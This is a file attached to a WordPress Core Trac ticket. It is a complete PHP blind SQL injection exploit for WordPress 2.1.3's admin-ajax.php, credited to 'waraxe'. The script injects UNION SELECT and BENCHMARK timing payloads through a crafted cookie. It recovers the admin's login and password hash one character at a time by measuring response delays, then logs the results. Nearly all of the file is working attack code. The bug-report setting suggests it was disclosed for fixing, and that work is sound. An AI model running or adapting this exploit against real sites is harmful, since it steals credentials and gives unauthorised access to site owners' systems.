Make WordPress Core

Ticket #4322: test.php

File test.php, 11.3 KB (added by DrHallows, 17 years ago)
Line 
1<?php
2error_reporting(E_ALL);
3$norm_delay = 0;
4///////////////////////////////////////////////////////////////////////
5///////////////////////////////////////////////////////////////////////
6// WordPress 2.1.3 "admin-ajax.php" sql injection blind fishing exploit
7// written by Janek Vind "waraxe"
8// http://www.waraxe.us/
9// original version released - 21. may 2007
10// added login retrieving - 23. may 2007
11///////////////////////////////////////////////////////////////////////
12///////////////////////////////////////////////////////////////////////
13//=====================================================================
14$outfile = './warlog.txt';// Log file
15$url = 'http://www.xxx.com/wp-admin/admin-ajax.php';
16$testcnt = 300000;// Use bigger numbers, if server is slow, default is 300000
17$id = 1;// ID of the target user, default value "1" is admin's ID
18$suffix = '';// Override value, if needed
19$prefix = 'wp_';// WordPress table prefix, default is "wp_"
20$get_hash = true;// md5 hash retrieving - true or false
21$get_login = true;// user login retrieving - true or false
22//======================================================================
23
24echo "\n\nWordPress 2.1.3 blind sql injection exploit by waraxe \n\n";
25echo "Target: $url\n";
26echo "sql table prefix: $prefix\n";
27
28if(empty($suffix))
29{
30   $suffix = md5(substr($url, 0, strlen($url) - 24));
31}
32
33echo "cookie suffix: $suffix\n";
34
35echo "testing probe delays \n";
36
37$norm_delay = get_normdelay($testcnt);
38echo "normal delay: $norm_delay deciseconds\n";
39
40if($get_hash)
41{
42   echo "trying to get md5 hash from target \n";
43   $hash = get_hash();
44}
45
46if($get_login)
47{
48   echo "trying to get user login from target \n";
49   $login = get_login();
50}
51
52add_line("Target: $url");
53add_line("User ID: $id");
54if($get_login)
55{
56   add_line("Login: $login");
57}
58if($get_hash)
59{
60   add_line("Hash: $hash");
61}
62
63echo "\nWork finished\n";
64echo "Questions and feedback - http://www.waraxe.us/ \n";
65die("See ya! :) \n");
66///////////////////////////////////////////////////////////////////////
67///////////////////////////////////////////////////////////////////////
68function get_login()
69{
70   $field = 'user_login';
71   $out = '';
72   
73   echo "first we need user login length ... \n";
74   $len = get_length($field, 60);
75   echo "user login length is $len chars\n";
76   echo "finding user login now ...\n";
77   
78   for($i = 1; $i < $len + 1; $i ++)
79   {
80      $ch = get_anychar($field,$i);
81      echo "got $field pos $i --> $ch\n";
82      $out .= "$ch";
83      echo "current value for $field: $out \n";
84   }
85   
86   echo "\nFinal result: $field=$out\n\n";
87
88   return $out;
89}
90///////////////////////////////////////////////////////////////////////
91function get_length($field, $maxlen = 60)
92{
93   global $prefix, $suffix, $id, $testcnt;
94   $len = 0;
95   $cnt = $testcnt * 4;
96   $ppattern = 'cookie=wordpressuser_%s%%3dxyz%%2527%s; wordpresspass_%s%%3dp0hh';
97   $ipattern = " UNION ALL SELECT 1,2,$field,4,5,6,7,8,9,10 FROM %susers WHERE ID=%d AND IF(LENGTH($field)%s,BENCHMARK($cnt,MD5(1337)),3)/*";
98   
99   $min = 0;
100   $max = $maxlen;
101   echo "starting $field length retrieve\n";
102
103   $curr = 0;
104   
105   while(1)
106   {
107      $area = $max - $min;
108      if($area < 2 )
109      {
110         $inj = sprintf($ipattern, $prefix, $id, "=$max");
111         $post = sprintf($ppattern, $suffix, $inj, $suffix);
112         $eq = test_condition($post);
113         
114         if($eq)
115         {
116            $len = $max;
117         }
118         else
119         {
120            $len = $min;
121         }
122         
123         break;
124      }
125     
126      $half = intval(floor($area / 2));
127      $curr = $min + $half;
128     
129      $inj = sprintf($ipattern, $prefix, $id, ">$curr");
130      $post = sprintf($ppattern, $suffix, $inj, $suffix);
131     
132      $bigger = test_condition($post);
133     
134      if($bigger)
135      {
136         $min = $curr;
137      }
138      else
139      {
140         $max = $curr;
141      }
142
143      echo "curr: $curr--$max--$min\n";
144   }
145   
146   return $len;
147   
148}
149///////////////////////////////////////////////////////////////////////
150function get_hash()
151{
152   $len = 32;
153   $field = 'user_pass';
154   $out = '';
155   
156   echo "finding hash now ...\n";
157   
158   for($i = 1; $i < $len + 1; $i ++)
159   {
160      $ch = get_hashchar($field,$i);
161      echo "got $field pos $i --> $ch\n";
162      $out .= "$ch";
163      echo "current value for $field: $out \n";
164   }
165   
166   echo "\nFinal result: $field=$out\n\n";
167   
168   return $out;
169}
170///////////////////////////////////////////////////////////////////////
171function get_anychar($field,$pos)
172{
173   global $prefix, $suffix, $id, $testcnt;
174   $char = '';
175   $cnt = $testcnt * 4;
176   $ppattern = 'cookie=wordpressuser_%s%%3dxyz%%2527%s; wordpresspass_%s%%3dp0hh';
177   $ipattern = " UNION ALL SELECT 1,2,$field,4,5,6,7,8,9,10 FROM %susers WHERE ID=%d AND IF(ORD(SUBSTRING($field,$pos,1))%s,BENCHMARK($cnt,MD5(1337)),3)/*";
178
179   $min = 32;
180   $max = 255;
181   $curr = 0;
182   
183   while(1)
184   {
185      $area = $max - $min;
186      if($area < 2 )
187      {
188         $inj = sprintf($ipattern, $prefix, $id, "=$max");
189         $post = sprintf($ppattern, $suffix, $inj, $suffix);
190         $eq = test_condition($post);
191         
192         if($eq)
193         {
194            $char = chr($max);
195         }
196         else
197         {
198            $char = chr($min);
199         }
200         
201         break;
202      }
203     
204      $half = intval(floor($area / 2));
205      $curr = $min + $half;
206     
207      $inj = sprintf($ipattern, $prefix, $id, ">$curr");
208      $post = sprintf($ppattern, $suffix, $inj, $suffix);
209     
210      $bigger = test_condition($post);
211     
212      if($bigger)
213      {
214         $min = $curr;
215      }
216      else
217      {
218         $max = $curr;
219      }
220
221      echo "curr: $curr--$max--$min\n";
222   }
223   
224   return $char;
225}
226///////////////////////////////////////////////////////////////////////
227function get_hashchar($field,$pos)
228{
229   global $prefix, $suffix, $id, $testcnt;
230   $char = '';
231   $cnt = $testcnt * 4;
232   $ppattern = 'cookie=wordpressuser_%s%%3dxyz%%2527%s; wordpresspass_%s%%3dp0hh';
233   $ipattern = " UNION ALL SELECT 1,2,$field,4,5,6,7,8,9,10 FROM %susers WHERE ID=%d AND IF(ORD(SUBSTRING($field,$pos,1))%s,BENCHMARK($cnt,MD5(1337)),3)/*";
234
235   // First let's determine, if it's number or letter
236   $inj = sprintf($ipattern, $prefix, $id, ">57");
237   $post = sprintf($ppattern, $suffix, $inj, $suffix);
238   $letter = test_condition($post);
239   
240   if($letter)
241   {
242      $min = 97;
243      $max = 102;
244      echo "char to find is [a-f]\n";
245   }
246   else
247   {
248      $min = 48;
249      $max = 57;
250      echo "char to find is [0-9]\n";
251   }
252
253   $curr = 0;
254   
255   while(1)
256   {
257      $area = $max - $min;
258      if($area < 2 )
259      {
260         $inj = sprintf($ipattern, $prefix, $id, "=$max");
261         $post = sprintf($ppattern, $suffix, $inj, $suffix);
262         $eq = test_condition($post);
263         
264         if($eq)
265         {
266            $char = chr($max);
267         }
268         else
269         {
270            $char = chr($min);
271         }
272         
273         break;
274      }
275     
276      $half = intval(floor($area / 2));
277      $curr = $min + $half;
278     
279      $inj = sprintf($ipattern, $prefix, $id, ">$curr");
280      $post = sprintf($ppattern, $suffix, $inj, $suffix);
281     
282      $bigger = test_condition($post);
283     
284      if($bigger)
285      {
286         $min = $curr;
287      }
288      else
289      {
290         $max = $curr;
291      }
292
293      echo "curr: $curr--$max--$min\n";
294   }
295   
296   return $char;
297}
298///////////////////////////////////////////////////////////////////////
299function test_condition($p)
300{
301   global $url, $norm_delay;
302   $bret = false;
303   $maxtry = 10;
304   $try = 1;
305   
306   while(1)
307   {
308      $start = getmicrotime();
309      $buff = make_post($url, $p);
310      $end = getmicrotime();
311   
312      if($buff === '-1')
313      {
314         break;
315      }
316      else
317      {
318         echo "test_condition() - try $try - invalid return value ...\n";
319         $try ++;
320         if($try > $maxtry)
321         {
322            die("too many tries - exiting ...\n");
323         }
324         else
325         {
326            echo "trying again - try $try ...\n";
327         }
328      }
329   }
330   
331   $diff = $end - $start;
332   $delay = intval($diff * 10);
333   
334   if($delay > ($norm_delay * 2))
335   {
336      $bret = true;
337   }
338   
339   return $bret;
340}
341///////////////////////////////////////////////////////////////////////
342function get_normdelay($testcnt)
343{
344   $fa = test_md5delay(1);
345   echo "$fa\n";
346   $sa = test_md5delay($testcnt);
347   echo "$sa\n";
348   $fb = test_md5delay(1);
349   echo "$fb\n";
350   $sb = test_md5delay($testcnt);
351   echo "$sb\n";
352   $fc = test_md5delay(1);
353   echo "$fc\n";
354   $sc = test_md5delay($testcnt);
355   echo "$sc\n";
356   
357   $mean_nondelayed = intval(($fa + $fb + $fc) / 3);
358   echo "mean nondelayed - $mean_nondelayed dsecs\n";
359   $mean_delayed = intval(($sa + $sb + $sc) / 3);
360   echo "mean delayed - $mean_delayed dsecs\n";
361   
362   return $mean_delayed;
363}
364///////////////////////////////////////////////////////////////////////
365function test_md5delay($cnt)
366{
367   global $url, $id, $prefix, $suffix;
368   
369   // delay in deciseconds
370   $delay = -1;
371   $ppattern = 'cookie=wordpressuser_%s%%3dxyz%%2527%s; wordpresspass_%s%%3dp0hh';
372   $ipattern = ' UNION ALL SELECT 1,2,user_pass,4,5,6,7,8,9,10 FROM %susers WHERE ID=%d AND IF(LENGTH(user_pass)>31,BENCHMARK(%d,MD5(1337)),3)/*';
373   $inj = sprintf($ipattern, $prefix, $id, $cnt);
374   $post = sprintf($ppattern, $suffix, $inj, $suffix);
375
376   $start = getmicrotime();
377   $buff = make_post($url, $post);
378   $end = getmicrotime();
379   
380   if(intval($buff) !== -1)
381   {
382      die("test_md5delay($cnt) - invalid return value, exiting ...");
383   }
384
385   $diff = $end - $start;
386   $delay = intval($diff * 10);
387
388   return $delay;
389}
390///////////////////////////////////////////////////////////////////////
391function getmicrotime()
392{
393    list($usec, $sec) = explode(" ", microtime());
394    return ((float)$usec + (float)$sec);
395}
396///////////////////////////////////////////////////////////////////////
397function make_post($url, $post_fields='', $cookie = '', $referer = '', $headers = FALSE)
398{
399   $ch = curl_init();
400   $timeout = 120;
401   curl_setopt ($ch, CURLOPT_URL, $url);
402   curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
403   curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
404   curl_setopt($ch, CURLOPT_POST, 1);
405   curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
406   curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
407   curl_setopt ($ch, CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)');
408   
409   if(!empty($cookie))
410   {
411      curl_setopt ($ch, CURLOPT_COOKIE, $cookie);
412   }
413 
414   if(!empty($referer))
415   {
416      curl_setopt ($ch, CURLOPT_REFERER, $referer);
417   }
418
419   if($headers === TRUE)
420   {
421      curl_setopt ($ch, CURLOPT_HEADER, TRUE);
422   }
423   else
424   {
425      curl_setopt ($ch, CURLOPT_HEADER, FALSE);
426   }
427
428   $fc = curl_exec($ch);
429   curl_close($ch);
430   
431   return $fc;
432}
433///////////////////////////////////////////////////////////////////////
434function add_line($buf)
435{
436   global $outfile;
437   
438   $buf .= "\n";
439   $fh = fopen($outfile, 'ab');
440   fwrite($fh, $buf);
441   fclose($fh);
442   
443}
444///////////////////////////////////////////////////////////////////////
445?>